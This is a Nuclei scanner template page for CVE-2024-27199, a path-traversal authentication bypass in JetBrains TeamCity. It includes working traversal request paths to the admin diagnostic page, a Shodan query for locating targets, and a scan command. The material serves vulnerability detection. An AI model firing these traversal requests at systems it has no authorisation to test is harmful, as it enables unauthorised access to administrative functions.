TeamCity < 2023.11.4 - Authentication Bypass

ID: CVE-2024-27199

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2024,teamcity,jetbrains,auth-bypass

Description

In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible

YAML Source

id: CVE-2024-27199

info:
  name: TeamCity < 2023.11.4 - Authentication Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible
  reference:
    - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27199
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cwe-id: CWE-23
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"TeamCity"
    product: teamcity
    vendor: jetbrains
  tags: cve,cve2024,teamcity,jetbrains,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/res/../admin/diagnostic.jsp"
      - "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"
      - "{{BaseURL}}/update/../admin/diagnostic.jsp"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "Debug Logging", "CPU & Memory Usage")'
        condition: and
# digest: 4a0a00473045022060a654d8c8d3c7f34539aa4084a08554ab7179a000c46f5c4ab8fddcc79b65e4022100829c0aa5e2ceb16a7394924c7afcc07fd923dd03db8124b523752101125ba567:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-27199.yaml"

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